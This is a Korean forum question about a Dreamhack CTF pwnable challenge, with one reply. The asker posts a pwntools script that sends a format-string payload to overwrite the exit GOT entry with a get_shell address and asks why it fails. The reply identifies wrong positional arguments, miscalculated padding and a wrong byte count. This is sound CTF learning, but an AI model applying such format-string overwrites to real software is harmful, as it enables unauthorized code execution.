주소값을 뒤에 작성할 경우
`from pwn import *
port = 23731
p = remote('host3.dreamhack.games', port)
exit = 0x804a024
get_shell = 0x8048609
payload = b'%2052c'
payload += b'%5$hn'
payload += b'%32256c'
payload += b'%6$hn'
payload += b'A'*3
payload += p32(exit+2)
payload += p32(exit)
p.send(payload)
p.interactive()
`
한 번 exit의 주소값을 가장 마지막에 넣어서 해볼려고 했습니다.
먼저 주소 앞에 16비트만큼이 차지되기 때문에 %5$에 0x804를 넣었고, %6$에 앞에서 사용된 값들을 더한 0x809로 0x8609를 뺀 값을 넣어주었습니다.
하지만 제대로 실행되지 않습니다. 어디서 잘못된것인가요?
#pwnable
작성자 정보
답변
1
qkrthfals
공부벌레
- positional argument(5$, 6$) 가 잘못 설정된 것 같습니다.
- 32256 바이트를 출력하게 되면 0x8609가 아닌 0x8604가 설정됩니다. (2052 + 32256 = 34308(0x8604))
- 'A'를 3 바이트 추가하면 주소 값을 제외한 페이로드의 길이는 24가 아닌 26이 됩니다.